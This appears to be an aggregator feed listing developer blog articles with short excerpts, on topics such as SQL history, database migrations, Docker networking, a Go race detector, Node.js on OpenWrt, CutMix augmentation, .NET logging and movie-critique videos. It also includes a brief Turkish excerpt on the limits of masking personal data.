    I'm a Python developer who takes pride in writing code that's more readable and less ambiguous or failure prone. Therefore, it was a never-before seen adventure for me, a journey of treading unknown terrains of JavaScript to get this extension working. Now, as for the motive that lead to this moment, I was downloading some large files from sites online as a part of my research, and I was disappointed to see that the native download manager wouldn't handle downloads for my use case right. I mean, due to server download speeds, my network's speeds, or whatever else, some of my downloads would stall, and I'd have to manually be there to resume them so they wouldn't give up on me. So, my eyes on the screen most of the time, or they would just fail, and some that wouldn't resume due to the link…  ( 10 min )
    PART 5 — The Rise of Network SQL (N-SQL)
    SECTION 1 — The Past: The Origin Story of SQL Before we talk about a new query language for networks, we have to pay respect to the old one — the one that defined how the entire digital world thinks about data. Because SQL wasn’t just a technology. And to understand why N-SQL exists, we have to rewind to the beginning. 1.1 — Why SQL Was Born The early 1970s were chaos in data land. Every company wrote its own custom data access systems: hierarchical stores pointer-based network models vendor-specific query languages bespoke storage formats This meant: no uniform way to access data no shared mental model no predictable structure and every enterprise was basically reinventing the wheel Then Edgar F. Codd walked in with a banger of a paper: Codd’s idea was wild for the time: treat data as uno…  ( 28 min )
    From stealth to spotlight: How Dimension launched on Product Hunt
    Dimension is a proactive AI assistant for engineering teams that removes context-switching. It launched on Product Hunt this month, for the first time after months in stealth mode, got featured, ranked #2 Product of the Day, and #3 Developer Tool of the Week. Here's what they did right and how to apply it to your launch. Rode the tailwinds. Their founder introduced Dimension on X the previous day. It gained traction with 3.5+ millions impressions and the team rode those tailwinds on Product Hunt. Crafted the visual assets. The image gallery is the first impression of your product. It sets expectations. High-quality assets == high-quality product. Pro tip: The image gallery tells your story, visually. It starts with an intro, i.e. the OG image. IMHO It should finish with an end, i.e. your call-to-action. Take Dimension for example. Kept momentum going. Last but not least, the team kept the momentum going post-launch by running a billboard ad campaign to stay top of mind. How to apply this to your launch The right time to launch could be now Show the product in your image gallery Keep the momentum going by engaging in threads and running ads Over to you! What are your key learnings from your previous launches? What worked, what didn't work from your perspective?  ( 6 min )
    Stop Memorizing Patterns, Start Writing Tests: A Pragmatic Guide to Better Code
    Writing good code is hard. The industry's response has been to create an ever-growing catalog of design patterns, principles, and architectural guidelines. While these have their place, there's a simpler practice that yields better results: writing tests. Let's start with something simple. You need to build a function that calculates the total price of items in a shopping cart, including tax. That's it. A straightforward requirement. Let's see how this can go wrong when we think in patterns first, and how tests lead us to better design. The first instinct is often to create a class. class ShoppingCart { private items: CartItem[] = []; addItem(item: CartItem): void { this.items.push(item); } getItems(): CartItem[] { return this.items; } } The thought process: "A cart ha…  ( 13 min )
    Did you knew this??
    Temporal Dead Zone in JavaScript Arma Sahar ・ Nov 28 #javascript #beginners #tutorial #node  ( 6 min )
    Console.log(Paper): Mengapa Developer & Startup Masih Butuh 'Physical Stack' di Era Digital
    Sebagai developer, kita menghabiskan 90% waktu hidup kita di dalam terminal, IDE, dan browser. Kita membangun produk yang hidup di cloud dan diakses lewat layar. Rasanya, dunia fisik (kertas, tinta, cetakan) itu teknologi kuno, legacy code dari masa lalu. Tapi, coba lihat bagian belakang laptop rekan kerja Anda di coworking space atau konferensi tech. Penuh stiker, kan? Logo Golang, Docker, GitHub, atau stiker startup tempat mereka bekerja. Di sinilah ironinya: Di dunia yang paling digital sekalipun, validasi sosial dan branding kita sangat bergantung pada objek fisik. Artikel ini bukan tentang kembali ke zaman batu, tapi tentang melengkapi Tech Stack Anda dengan Physical Stack. Mengapa? Karena networking terjadi di dunia nyata, dan impresi pertama seringkali terjadi secara offline. Bagi d…  ( 8 min )
    Training LLMs on Mixed GPUs: My Experiments and What I Learnt
    In the last few months, I have been very interested in large language models. At the same time, the GPU world is also changing. Nvidia is still the market leader, but AMD, Intel, and even Chinese companies are making cheaper GPUs. The main challenge is that CUDA is still the dominant software stack, and Nvidia drivers are not open source. Because of this, using non‑Nvidia GPUs is still not smooth. As someone who runs a homelab, I wanted a setup where I can use different GPUs together. But even mixing two Nvidia GPUs of different generations is hard. If you upgrade from RTX 3090 to RTX 5090, you may need a different CUDA version, a different Python version, and a different PyTorch version. New architectures like Blackwell also take time to enter mainstream frameworks. So many people end up …  ( 16 min )
    Stop Waiting for the Cloud: Building a Hybrid SQL+Python Data Pipeline Locally with DuckDB
    Cloud data warehouses are amazing for production. They are terrible for development. If you’re a Data Engineer, you know the pain of the “cloud feedback loop”: You write a complex SQL query. You hit “Run” in your orchestrator. You wait 45 seconds for the warehouse to spin up or queue your job. It fails because of a syntax error. You fix it. You pay for the query slot. You wait again. This latency kills flow. In software engineering, we run code locally on our laptops before shipping to production. Why can’t we do the same for data pipelines? I built FastFlowTransform (FFT) to solve this. It’s a framework that lets you build and test your pipeline locally using DuckDB (for speed and free compute), and then deploy the same project to Snowflake, BigQuery, or Databricks for production. In this…  ( 9 min )
    Building IPO Investment Tools: Lessons from Creating GainIPO
    As a developer building financial tools, creating GainIPO taught me valuable lessons about user needs, real-time data handling, and building trust in the fintech space. IPO investors in India lacked a centralized platform for: Real-time Grey Market Premium (GMP) tracking Live subscription status updates Allotment predictions DRHP analysis and expert insights For a financial data platform, these were critical: Backend: Fast API responses for real-time data Reliable data scraping and validation Database optimization for quick queries Frontend: Clean, mobile-first design (most users are on mobile) Fast loading times (< 2 seconds) Easy navigation for non-technical users Data Integrity: Multiple source validation Automated error detection Manual verification for critical updates Users need data…  ( 7 min )
    Learn about Production Ready TAILWIND CSS Setup in REACT NATIVE !
    Learn about Production Ready TAILWIND CSS Setup in REACT NATIVE ! First you need to setup your react native project , create the new React Native Project Using Expo npx create-expo-app@latest my-awesome-app cd my-awesome-app Reset your project npm run reset-project Install these all package for install Nativewind npm install nativewind react-native-reanimated@~3.17.4 react-native-safe-area-context@5.4.0 npm install --dev tailwindcss@^3.4.17 prettier-plugin- Step 4 Setup the Tailwind CSS in project Run npx tailwindcss init to create a tailwind.config.js file @type {import('tailwindcss').Config} / /.{js,jsx,ts,tsx}"], Add the globals.css file on app folder @tailwind base; Step 6 Last Step npx expo customize metro.config.js Copy this and replace it const config = getDefaultConfig(__dirname) module.exports = withNativeWind(config, { input: './global.css' })` /** @type {import('tailwindcss').Config} */ This Thing help you to play with tailwind Production level ` `  ( 6 min )
    User-defined networks
    You can create custom, user-defined networks, and connect multiple containers to the same network. Once connected to a user-defined network, containers can communicate with each other using container IP addresses or container names. The following example creates a network using the bridge network driver: $ docker network create -d bridge my-net Running a container in the created network: $ docker run --network=my-net -itd --name=container3 busybox 👉 Container networks In addition to user-defined networks, you can attach a container to another container’s networking stack directly, using the --network container: flag format. The following flags aren’t supported for containers using the container: networking mode: --add-host --hostname --dns --dns-search --dns-option --mac-addres…  ( 8 min )
    Qeltrix V5: The Folder Archiver Revolution with Virtual File System
    From Single Files to Complete Directory Trees—A Fundamental Evolution Posted by Muhammed Shafin P (HejHdiss) | Qeltrix Project Lead I'm thrilled to announce Qeltrix V5, the most significant architectural evolution in the Qeltrix ecosystem. This release fundamentally transforms Qeltrix from a single-file encryption tool into a full-featured folder archiver with Virtual File System (VFS) capabilities, optional asymmetric metadata encryption, and surgical seek operations. V5 represents a paradigm shift: instead of encrypting one file at a time, you can now package entire directory structures into a single encrypted container—then access individual files within that container without decrypting everything. Folder Archiving with Virtual File System V5 introduces a complete VFS implementation …  ( 11 min )
    I Built a Free Random Data Generator — No Signup, 100% Client-Side
    https://engtoolshub.com/tools/random-data-generator Every developer needs mock data. Whether you're testing a form, seeding a database, or demoing a feature — you need realistic fake data, fast. Names, emails, usernames Why it's different: 🔗 Try it: https://engtoolshub.com/tools/random-data-generator Part of EngToolsHub — 47+ free browser-based developer tools. What data types would you like to see added? Drop a comment! 👇  ( 6 min )
    Automating Database Migrations with CI/CD
    Automated migrations bring your database into the same repeatable, auditable, and safe process your application code already enjoys. In this guide, you’ll learn how to integrate FluentMigrator cleanly into your Azure CI/CD pipeline. Automate database migrations so they run automatically in your deployment pipeline. When you deploy: Infrastructure creates/updates Azure SQL Database Migrations run automatically API deploys (only if migrations succeed) Zero manual steps. Zero forgotten migrations. Zero production surprises. Here's how it works conceptually: ┌─────────────────────────────────────────────────────────────┐ │ Infrastructure Pipeline (sql-infra.yml) │ │ • Runs independently when infrastructure changes │ │ • Deploys: Azure SQL Server + Database (Bice…  ( 8 min )
    Exploring deboa-macros: Ergonomic HTTP Client Macros for Rust
    What is deboa-macros? deboa-macros is a procedural-macro crate for Rust that builds on top of the core HTTP client deboa. Its goal is to simplify common HTTP request patterns using expressive macros---turning verbose boilerplate into concise, type-safe code. Where deboa provides low-level HTTP capabilities (HTTP/1 + HTTP/2, async runtimes like Tokio or Smol, etc.), deboa-macros layers ergonomic syntax on top so you can focus on logic instead of deboa-macros Rust's procedural macros allow developers to run code at compile time to generate boilerplate, enforce patterns, and create domain-specific syntax. For HTTP requests, much of the code is repetitive: building the request serializing bodies deserializing responses handling errors deboa-macros addresses these pain points with: …  ( 7 min )
    Building an AI-Powered App Entirely in Go: From Simple Prompt to Smart Pipeline
    The Challenge I've shipped AI features in many stacks, but over a weekend, I wanted to answer one question: "Can I build a complete, production-quality AI app using only Go?" Not just a proof of concept. A real application with: Structured AI flows Content moderation Smart interpretation Reactive UI Type safety end-to-end The result? An AI Welcome Note Generator that evolved from a 10-line prompt to a multi-stage pipeline with safety filters and natural language understanding—all without leaving Go. This article walks through how everything fits together — from the simplest flow to a smart, multi-stage LLM pipeline. Welcome Note Generator Demo Watch the application in action: from simple prompts to smart, moderated AI flows Backend: Genkit — AI flow orchestration (the star of the show) G…  ( 11 min )
    Getting Started with Database Migrations using FluentMigrator
    Why Your Database Schema Deserves Version Control Your code is tracked, reviewed, and tested. If you’ve ever found yourself unsure whether a schema change was applied consistently across environments, this guide will help. Your application code lives in Git, but your database schema lives... where exactly? When you: Add a new column Create a new table Modify an index How do you ensure every developer and every environment has the same schema? The old way: Scattered SQL scripts, manual execution, fingers crossed. The better way: Migrations as code—version-controlled, repeatable, and reviewable. Think of migrations as "Git commits for your database schema." Each migration is a numbered file that describes a single change: Migration 001: Create Users table Migration 002: Create Products tab…  ( 10 min )
    From Just a Scanner to a Smart Agent: How I Improved my SEO Prospecting Tool 🐍
    I recently built a prospecting agent with Python to find local businesses on Google’s lower-ranked pages and pitch them SEO services. The initial version was... promising but flawed. It tried to pitch Indeed.com because they didn't have a local phone number. It told Ford Dealerships their site was "down" because their firewall blocked my bot. It sent robotic emails starting with "Fail: H1 Missing" ... not exactly a charming opener. I realized that to make this tool useful, I needed to move from a simple scraper to a true agent. Here is the breakdown of how I refactored the code to filter noise, crawl for contacts, and use GenAI to write personalized campaigns. The first problem with scraping generic keywords is that half the results aren't businesses, they are directories, job boards, and …  ( 10 min )
    Trust the Server, Not the LLM: A Deterministic Approach to LLM Accuracy
    🚫 Zero Mental Math: An Anti-Hallucination Architecture for LLM-Driven Analysis A six-layer system for achieving 100% accurate numerical reporting from Large Language Models I built an MCP server that extracts data from my MT5 terminals on a VPS. Basically its a load of financial data reports, like trades, averages, technical indicators etc. I built it all out and I realized that my LLM would randomly hallucinate random things, for example it would say there was a 16th trade when there only had been 15 trades for that day. When it comes to financial reporting I realize there is probaly a lot on this topic, so I grabbed some ideas from a lot of the latest research on RAG topics, and i threw something together. I wrote tests that actually test the accuracy of the results of my embeddings …  ( 16 min )
    ⭐ Two Free AI Tools You Should Try: A Surprisingly Good Image Generator & Text-to-Speech Tool
    We’re living in a time where almost every “free” AI tool hides something behind a paywall — limited credits, forced registration, watermarks, or downgraded quality unless you upgrade. So when I came across two AI tools that are actually free, require zero sign-up, and deliver genuinely high-quality results, I was honestly surprised. They feel like hidden gems, so I’m sharing them here for anyone who loves AI tools, productivity resources, or creative experiments. 🎨 1. Free AI Image Generator (High Quality + No Account Needed) 🔗 https://productivitygears.com/free-ai-image-generator-tool If you’ve ever used online image generators, you know how frustrating it gets: credits, blurry previews, logins, watermarks — the usual story. Press enter or click to view image in full size What Makes It Stand Out 🔊 2. Free AI Text-to-Speech Tool (Natural Voices, Instant MP3) https://productivitygears.com/free-ai-text-to-speech Become a member Press enter or click to view image in full size This one doesn’t. Why It’s Worth Bookmarking ⭐ Final Thoughts If you enjoy playing around with AI, create content, or just love exploring useful online tools, these two are absolutely worth checking out and adding to your bookmarks. If you try them, I’m curious which one you end up using more.  ( 7 min )
    Workload And Agentic Identity at Scale: Insights From CyberArk's Workload Identity Day Zero
    What do the terms identity, AI, workload, access, SPIFFE, and secrets all have in common? These were the most common words used at CyberArk's Workload Identity Day Zero in Atlanta ahead of KubeCon 2025.  Across an evening full of talks and hallway conversations, the conversation kept coming back to the fact that we have built our infrastructures, tools, and standards around humans, then quietly handed the keys to a fast-multiplying universe of non-human identities (NHIs). However, the evening didn't dwell on what we have gotten wrong, but instead on what we are getting right as we look towards a brighter future of workload identity.  Every speaker discussed what has happened so far and how we have reached the state in which so many companies find themselves. These workload identities, in t…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes on the wild ride that is KPop Demon Hunters, throwing their signature “sins” over the movie in under 16 minutes of sharp, tongue-in-cheek critiques. They invite fans to dive deeper into the CinemaSins universe—follow their YouTube channels, social feeds, and even fill out a “sinful” poll or support the team on Patreon. The video description also lists the crew behind the sins (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) with links to their social profiles, plus community hangouts on Discord and Reddit, and more goodies like Jeremy’s book and TikTok highlights. Watch on YouTube  ( 6 min )
    Pure-Go Race Detector - Race Detection Without CGO
    Hi! Go's built-in race detector requires CGO. This means: No race detection in Docker scratch images Cross-compilation becomes complicated Cloud functions and embedded systems are out of luck A pure-Go implementation of race detection using the FastTrack algorithm. Works with CGO_ENABLED=0. 99% overhead reduction - from ~10,000x down to ~100x slowdown. Key improvements: Adaptive Sampling - configurable 1-100% sample rate for production use Sparse VectorClocks - O(active goroutines) instead of O(total) Address Compression - 8x memory reduction 4 Inline Slots - zero allocations for common cases go install github.com/kolkov/racedetector/cmd/racedetector@v0.3.0 # Build with race detection racedetector build -o myapp main.go # Run with race detection racedetector run main.go # Production with 10% sampling RACEDETECTOR_SAMPLE_RATE=10 racedetector run main.go GitHub: https://github.com/kolkov/racedetector Discussions: https://github.com/kolkov/racedetector/discussions Issues: https://github.com/kolkov/racedetector/issues Looking for Feedback I'd appreciate if you could try it on your projects and report any bugs or false positives. Contributions are welcome. Also curious: should something like this be proposed for Go toolchain integration, or is it better as a standalone tool? Thanks!  ( 6 min )
    C++ - instalación y configuración en Ubuntu
    Recomiendo ver antes - instalacion de Homebrew y asdf en ubuntu ( es corto son 5 comandos) C++ - Referencia en CPPReference C++ - En DevDocs.io ⚠️ En C++ no existen “frameworks web” estándar como en Python, pero sí hay bibliotecas ampliamente usadas. Sin Framework (sockets POSIX) — Minimalista, simple, nativo. Crow — Inspirado en Flask, muy fácil de usar. Boost.Beast — Rápido y moderno para HTTP/WebSocket. CppRestSDK — Completo, estilo Django/Express. C++ ya viene instalado, pero debes asegurarte de tener g++: sudo apt update sudo apt install g++ build-essential brew install gcc C++ no tiene un gestor oficial como pip o npm, pero los más usados son: apt (en Ubuntu) vcpkg conan Ver versión del compilador: g++ --version Instalar una librería JSON (ejemplo): sudo apt install nlohmann-json3…  ( 10 min )
    Profile Card 2025: simple, responsive profile cards built with HTML, CSS & JS
    I built a lightweight profile card pattern that focuses on clarity, flexible layout, and a single social icon. It’s intended for portfolios, team pages, and small UI components where you want a clean, accessible card without a heavy framework. Created with HTML, CSS and JS and easy to edit or extend. Preview and edit the example in the CodLico HTML Editor: https://codlico.com/tools/html-editor-online/ HTML: CSS: :root { JS: document.addEventListener("DOMContentLoaded", () => {  ( 7 min )
    Nomor WA Tokopedia
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    OSINT: Maskelenmiş Verilerin Sızıntı Analizi ile Deşifresi
    Hesaplarınızın giriş ekranında veya “Şifremi Unuttum” adımında gördüğünüz o tanıdık görüntüyü bilirsiniz: “Güvenlik kodunu şu numaraya gönderiyoruz: +44 7** *** ** 23” veya “Kod gönderildi: l*.design@*.com” Pek çok kullanıcı bu maskelenmiş formatı güvenli bir koruma sanır ancak bu, modern internet çağının en büyük yanılgılarından biridir. Saldırganlar eksik rakamları sırayla deneyerek bulmaz. Onlar OSINT ve veri korelasyonu teknikleriyle dijital izlerinizi birleştirir. Bu yazıda Londra’da yaşayan kurgusal karakterimiz Liam üzerinden maskelenmiş verilerin nasıl çözümlendiğini inceleyeceğiz. “Hacker eksik rakamı 00’dan 99’a kadar dener” düşüncesi artık gerçek dışıdır. Bunun nedeni: Rate Limiting. Art arda gelen hatalı girişler bir süre sonra: 429 – Too Many Requests hatasına düşer ve siste…  ( 7 min )
    Amazon Q Custom Agents: The Complete Guide
    👋 Hey there, tech enthusiasts! I'm Sarvar, a Cloud Architect with a passion for transforming complex technological challenges into elegant solutions. With extensive experience spanning Cloud Operations (AWS & Azure), Data Operations, Analytics, DevOps, and Generative AI, I've had the privilege of architecting solutions for global enterprises that drive real business impact. Through this article series, I'm excited to share practical insights, best practices, and hands-on experiences from my journey in the tech world. Whether you're a seasoned professional or just starting out, I aim to break down complex concepts into digestible pieces that you can apply in your projects. Let's dive in and explore the fascinating world of cloud technology together! 🚀 Imagine Sarah, a DevOps engineer at …  ( 12 min )
    Running Node.js and Modern Web Development Tools on OpenWrt
    Prerequisites and Limitations This guide is specifically for x86 architecture only. On ARM devices, both pnpm and Node.js may fail due to libgcc_s.so.1 dependency issues. First, configure your build target for musl-based systems: ei config x86_64-unknown-linux-musl OpenWrt's minimal environment lacks the C++ standard library: opkg install libstdcpp OpenWrt ships with a basic sh shell, but Node.js and pnpm require bash's advanced syntax features. Download a static bash binary from robxu9/bash-static: ei robxu9/bash-static Replace the default shell symlinks: which bash ln -sf /root/.ei/bash /bin/sh ln -sf /root/.ei/bash /bin/bash Node.js requires approximately 200MB of storage. On space-constrained OpenWrt devices, install to /tmp: ei https://unofficial-builds.nodejs.org/download/release/v25.2.1/node-v25.2.1-linux-x64-musl.tar.xz -d /tmp node --version Note: Use the unofficial-builds repository for musl-compatible binaries. ei pnpm/pnpm pnpm --version For a lightweight Git implementation: ei GitoxideLabs/gitoxide gix --version Now you can use modern web development tools: # Create a new Vite project pnpm dlx create-vite # Navigate to your project cd react-ts # Start the development server (accessible from network) pnpm run dev --host The --host flag exposes the dev server to your local network, allowing you to access it from other devices.  ( 7 min )
    Catalyst::Request body issues with the file position pointer
    OK, so... For those using the Perl Catalyst web framework in ways involving structured request bodies (e.g. API POSTs)... $c->req->body is a string, unless Content-Type is application/x-www-form-urlencoded, text/xml, or multipart/form-data (or in fact application/json, which isn't in the docs), in which case it's a File::Temp (an overloaded file handle), and $c->req->body_data gets you the deserialised body. For various reasons, largely to do with the idiosyncrasies of one particular module, I need to read the raw body data from the $c->req->body file handle to process a Stripe webhook payload. For various other reasons, as part of the API call logging, I need to call $c->req->body_data to get at the deserialised body in another module. You may imagine my delight when adding the latter caused the former to fail. An afternoon of bad language and extra debug eventually revealed that $c->req->body_data doesn't clean up after itself, and I have to seek( $c->req->body, 0, 0) before I can read any data from the body file handle. If this is useful to anyone else, you have my sympathies.  ( 6 min )
    Why CutMix Works (Even When It Breaks the Image Apart)
    What is CutMix? CutMix, introduced in 2019, takes Cutout’s idea and dials it up: Instead of dropping pixels, it replaces them with content from a different image and mixes the labels accordingly. You cut a patch from image A, paste it onto image B, and assign the new image a label proportional to the visible region. Cutout removes. CutMix sits in the middle of that spectrum. Why does replacing a patch help? Because it attacks two problems at once: Localization bias Data inefficiency And unlike Mixup (which we'll get to), CutMix preserves crisp local structure, the pasted region is still an actual object patch, not an interpolation. Why isn’t this harmful? CutMix works because: The model learns that objects may appear in strange positions It reduces overfitting to backgrounds or canonical object placements It provides a natural form of regularization via mixed-label supervision It improves both robustness and calibration CutMix is also surprisingly stable, its patch operation doesn’t degrade image quality as much as one might expect. When does CutMix falter? CutMix can struggle when: Training data is already extremely diverse Spatial coherence is critical (e.g., segmentation tasks) Pasted regions occlude too much semantic content The patch sampling is too aggressive Still, for classification pipelines, CutMix is often a plug-and-play upgrade. CutMix is Cutout with context: Next: Mixup, the method that abandons spatial structure entirely and asks the model to learn through interpolation.  ( 7 min )
    Figma to React: How Kombai Finally Solved My Frontend Workflow
    As a frontend developer, much of my job is converting Figma designs into React code—a process that’s both meticulous and repetitive. Every pixel, color, font weight, spacing, and padding has to match the designer’s intent exactly. It can be satisfying when it comes together, but it’s also a huge time sink. Naturally, to save time and speed up my workflow, I’ve tried out various tools that promise to automate the conversion from Figma to React. But most of them ended up creating more cleanup work than they saved. Then I tried Kombai — and the difference was immediately clear. Unlike most generic code generators I’ve tried, Kombai is the only frontend-specific AI agent I can genuinely vouch for that actually understands frontend development and produces code I’d write myself, not code I need…  ( 20 min )
    Laravel 12 + shadcn/ui: Build Modern UIs with Ease in 2025
    In 2025, Laravel continues to evolve — and with version 12, it makes building modern, full-stack applications even easier by embracing frontend-first tooling. In this post we’ll explore what’s new in Laravel 12, how it works with shadcn/ui, and why combining them can give you a powerful, clean, and highly customizable developer experience.  ( 6 min )
    Building Trinity Shield™ Custom In House TEE for Multi-Chain Consensus Seeking Open Source Feedback
    How we're adding hardware security to a formally verified 2 of 3 consensus system across Arbitrum, Solana, and TON. 78 Lean proofs. Zero external dependencies. I've spent 3 years building Trinity Protocol a 2 of 3 multi-chain consensus system that distributes trust across Arbitrum, Solana, and TON. When a community member suggested adding Trusted Execution Environments (TEE), I researched the options: Oasis ROFL: $100-150/month, vendor lock-in Cloud TEE (Azure, GCP): $200-300/month, external dependency Phala Network: Third-party infrastructure None of these fit our philosophy. We've built everything in-house: 12 Arbitrum contracts, 3 Solana programs, 3 TON contracts, and 78 Lean 4 theorem statements. Why would we outsource our hardware security layer? So we're building Trinity Shield™ our…  ( 9 min )
    Lessons learned implementing SCIM with Microsoft Entra and the SCIM Validator
    I had to redo the entire SCIM validator journey after we've migrated to a new company. This article shares the practical lessons from that rework: tightening concurrency, adding hybrid caching, clarifying when /Schemas actually matters and structuring validation runs so progress is repeatable instead of guesswork. SCIM still promises automated provisioning from an IdP, but the path to a production-grade, Entra-compatible implementation is about disciplined iteration, not just “passing the tests.” Once integrated, lifecycle events (create, update, deactivate) flow from your IdP without manual admin work, improving security posture and reducing bespoke connector logic. Interoperability hinges on spec fidelity: consistent status codes, predictable resource representation, correct filtering, a…  ( 9 min )
    useState in React Hook
    updating the screen: import { useState } from 'react'; your component to “remember” some information and display it. function MyButton() { const [count, setCount] = useState(0); initial state of count is 0 if you change the state use setCount function MyButton() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Clicked {count} times ); } when you click the button the current state is updated using the setCount is increased. Hook: export default function MyApp() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Counters that update together ); } the button is clicked upadted the state count together.use the information pass down this is called props.  ( 6 min )
    Self-corrective Code Generation: A Basic Understanding and Real-life Application
    Self-corrective Code Generation is an advanced AI approach where code is not only generated but also continuously refined based on feedback and predefined rules. Unlike traditional methods, this process ensures that code meets essential standards for readability, efficiency, maintainability, and compliance with coding guidelines. This article will explore how AI-generated code can be incomplete without proper validation, the consequences of using untested code, and how self-corrective code generation solves these challenges. We will also discuss advanced techniques, like multi-step agents, to further enhance code quality, followed by practical examples of how this process works. 1. Sources of Incomplete Code There are two main sources of incomplete code originating from AI’s output.  Limit…  ( 12 min )
    KEDA HTTP Add-on: Escalonamento Dinâmico por Volume de Requisições
    Introdução O escalonamento tradicional baseado em CPU ou memória atende bem a diversos cenários, mas pode apresentar limitações em aplicações que sofrem bursts de requisições ou que exibem padrões de tráfego irregulares. Nesses casos, é comum que a aplicação mantenha níveis estáveis de CPU e memória ao mesmo tempo que enfrenta pressão direta no atendimento HTTP, gerando aumento de latência, formação de filas e redução de throughput antes que o autoscaler identifique a necessidade de ajuste. O KEDA HTTP Add-on foi desenvolvido para lidar com essas situações ao permitir que o escalonamento considere o volume de requisições como métrica primária. Essa abordagem oferece uma resposta mais alinhada ao comportamento real da carga, especialmente em serviços sensíveis a variações rápidas de deman…  ( 10 min )
    2025 - All Posts From Product With Attitude
    A List of Canonical Links from the Publication "Product with Attitude" Last updated: November 2025 Author: Karo Zieminski Canonical Link: https://karozieminski.substack.com/p/if-you-build-with-ai-you-need-this Original Publish Date: November 27, 2025 Tags: #vibecoding #rules-for-ai #prompt-systems #beginner-guides #prompt-back #builder-community Author: Karo Zieminski Canonical Link: https://karozieminski.substack.com/p/substack-roadmap-community-chat-notes-reels-survey-reader-behaviour Original Publish Date: November 18, 2025 Tags: #substack #substack-survey #substack-user-behaviour #substack-growth #top-substack-surveys #builder-community Author: Karo Zieminski and Orel Canonical Link: https://karozieminski.substack.com/p/product-thinking-at-the-speed-of-ai-actionable-insights-for-prod…  ( 8 min )
    How to Write an Effective Prompt for Planning a Software Project
    A practical, human-first guide to getting better results from AI tools If you’ve experimented with AI while planning a new software project, you’ve probably noticed a pattern: sometimes the output is sharp, actionable, and genuinely helpful—and other times it feels vague or generic. The difference usually comes down to one thing: the quality and structure of your prompt. The good news is that writing a great prompt is not about being poetic or overly verbose. It is about giving the AI the same level of clarity you'd expect from a teammate. In this post, I’ll share a practical approach you can use to consistently get detailed, high-value results. Building software is messy in the best kind of way. There are tradeoffs, constraints, unknowns, and assumptions scattered everywhere. When your pr…  ( 8 min )
    Day F9: Caffeine, Workout, and Arrogant Relationship Thoughts
    DCS exam almost killed me today. Discrete Computer Structures. The syllabus was MASSIVE. Like actually absurd amounts of content. Slept at 5am studying. Woke up at 8am. Exam at 10am. Three hours of sleep. Walked in half-dead. Got fumbled hard. Out of 50 marks, I'll probably pull 35. Maybe. Bad? Yeah. Do I care? Not really. It's done. Moving on. Had this random thought today while sleep-deprived and over-caffeinated: Being in a relationship is kind of arrogant, right? Like you really think someone can love you unconditionally? That's wild confidence. That's believing you're worth that kind of commitment from another human. I don't have that. The arrogance to think I deserve that or that it's even possible. Maybe that's why I'm bad at relationships. Not because I don't want them, but because…  ( 7 min )
    10 Common .NET Logging Mistakes and How to Avoid Them for Maintainable Apps
    Logging feels simple… until you’re staring at a production incident and your logs are either uselessly noisy or weirdly empty. Here are 10 .NET logging mistakes that quietly hurt you in production - and how to fix them. The mistake _logger.LogInformation("User " + userId + " purchased " + itemCount + " items"); Everything is one big string, so your logging system can’t query individual fields. Why it hurts No structured search (e.g. UserId = 123) Hard to build dashboards on numeric fields Formatting drifts over time Fix Use structured properties: _logger.LogInformation( "User {UserId} purchased {ItemCount} items", userId, itemCount); If you want to filter or graph it later, give it a named property. The mistake Everything is LogInformation or everything is LogError. Why it h…  ( 9 min )
    Agentic AI: The Shift Developers Didn’t Realise They Needed
    Most AI tools wait for a prompt. Agentic AI works differently — it takes a goal, plans the steps, and executes tasks on its own. That small change is starting to reshape developer workflows. What developers are already using agents for: Parsing docs and explaining APIs Running data analysis without manual queries Automating reporting and monitoring Debugging suggestions from logs and errors Repetitive tasks like test generation or KPI checks It’s not about replacing developers. As models get better at reasoning and tool-use (Python, SQL, APIs), agentic workflows will quietly become part of everyday engineering work. The next big jump in productivity won’t be a chatbot We at Codesis Technologies build practical agentic AI systems for modern teams and individuals.  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less is CinemaSins’ latest roast of Tom Cruise’s high-octane franchise finale, poking fun at every gravity-defying stunt and plot hitch. They admit the series still rocks, but the last couple of films have wandered off course—so buckle up for some delicious nitpicking. For more sinful takes, you can explore their website, join the conversation on Discord and Reddit, cast your vote in their poll, and even support the small CinemaSins team on Patreon. Don’t forget to follow writers like Jeremy, Chris and Aaron on Twitter for extra behind-the-scenes mischief. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less Cinemasins dishes out a rapid-fire roast of the new Fantastic Four flick—nothing earth-shattering, but just as “sintastic” as any other Marvel outing. They even squeeze it all into 20 minutes or less, with a cheeky nod to their sponsor BetterHelp (grab a therapy discount if you need it). Want more cinematic sinning? Head over to cinemasins.com or follow @CinemaSins on YouTube, TikTok, Instagram and Twitter. They’ve also got a sinister poll, a Patreon for extra content, plus Discord and Reddit communities. Don’t forget to stalk their writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on social media for your daily dose of movie nitpicks. Watch on YouTube  ( 6 min )
    Suppose there is a dataset having variables with missing values of more than 30%, how will you deal with such a dataset?
    If a variable has more than 30% missing values, I treat it carefully because that much missing information can weaken the model. First, I try to understand the cause: is it random, system-driven, or does it follow some pattern? Knowing this helps me decide if the feature is still useful. If the column doesn’t provide strong value, the safest choice is to drop it. For important variables, I look at different imputation methods. Numeric fields might use median or interpolation, while categorical fields can use mode. If the feature is valuable but tricky, I may use advanced methods like KNN imputation or model-based imputation to estimate missing values. Sometimes missing values are meaningful on their own, for example, “not filled because user didn’t use the feature.” In those cases, I keep the column and also create a separate flag like “is_missing” to capture that information. The goal is to keep the dataset balanced, clean, and meaningful without forcing incomplete or low-quality data into the modeling process.  ( 6 min )
    📝How I Built a Fully Automated Telegram Moderation Bot — An Engineering Case Study
